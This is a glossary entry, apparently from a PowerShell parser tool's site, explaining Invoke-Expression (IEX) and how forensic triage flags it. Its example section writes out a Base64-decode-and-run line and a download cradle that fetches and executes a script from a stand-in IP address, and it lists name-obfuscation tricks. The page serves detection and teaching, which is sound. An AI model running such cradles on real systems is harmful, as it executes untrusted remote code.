Skip to content
PowerShellparser

Glossary

Invoke-Expression (IEX)

A PowerShell cmdlet that runs a string as code — the execution half of most download cradles and obfuscation chains.

Invoke-Expression (alias IEX) is a PowerShell cmdlet that evaluates a string as a command and returns the result. Whatever text it receives, whether typed, decoded from Base64, inflated from a gzip stream or downloaded from a web server, becomes running code in the current session. [scriptblock]::Create($s) followed by the call operator achieves the same effect and is a common substitute when attackers want to avoid the well-known name.

Why it matters in investigations

IEX is the execution half of most malicious one-liners. Obfuscation only transforms text; at some point that text has to be run, and IEX is the shortest way to do it. That is why it appears at the end of most download cradles and decoding chains, and why attackers disguise the name itself with tricks such as IEX, ('IE'+'X') or [char] codes.

Legitimate uses exist, for example in build scripts that assemble a command dynamically, but they are rare in day-to-day administration. IEX applied to a string that was just downloaded or decoded is a strong triage signal, and the argument it received tells you what the attacker actually meant to run.

Example

Two common shapes, one running a decoded payload and one running a downloaded one:

$s = [Text.Encoding]::Unicode.GetString([Convert]::FromBase64String($b64)); IEX $s
IEX (New-Object Net.WebClient).DownloadString('http://198.51.100.23/a.ps1')

The parser flags IEX, Invoke-Expression and [scriptblock]::Create as a medium-severity Invoke-Expression finding. When a download primitive appears in the same text, as on the second line, the two are combined into a single high-severity download-cradle finding. IEX inside a longer word, such as a file name, is not matched.

Spot IEX chains across your evidence with the PowerShell Parser, and see decoding encoded commands and obfuscation for how the hidden name is revealed.